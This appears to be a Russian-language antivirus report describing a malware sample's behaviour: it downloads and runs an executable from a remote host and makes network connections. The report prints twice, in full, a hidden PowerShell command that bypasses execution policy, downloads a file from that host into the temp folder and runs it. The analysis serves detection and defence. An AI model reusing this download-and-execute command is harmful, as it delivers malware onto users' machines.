Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://a.safe.moe/ockna.exe как %temp%\\bndhf.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.safe.moe/ocKNA.exe','%TEMP%\\bndhf.exe') & %TEMP%\\bndhf.exe
Сетевая активность
Подключается к
- 'a.##fe.moe':443
UDP
- DNS ASK a.##fe.moe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c powershell.exe -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.safe.moe/ocKNA.exe','%TEMP%\\bndhf.exe') & %TEMP%\\bndhf.exe' (со скрытым окном)
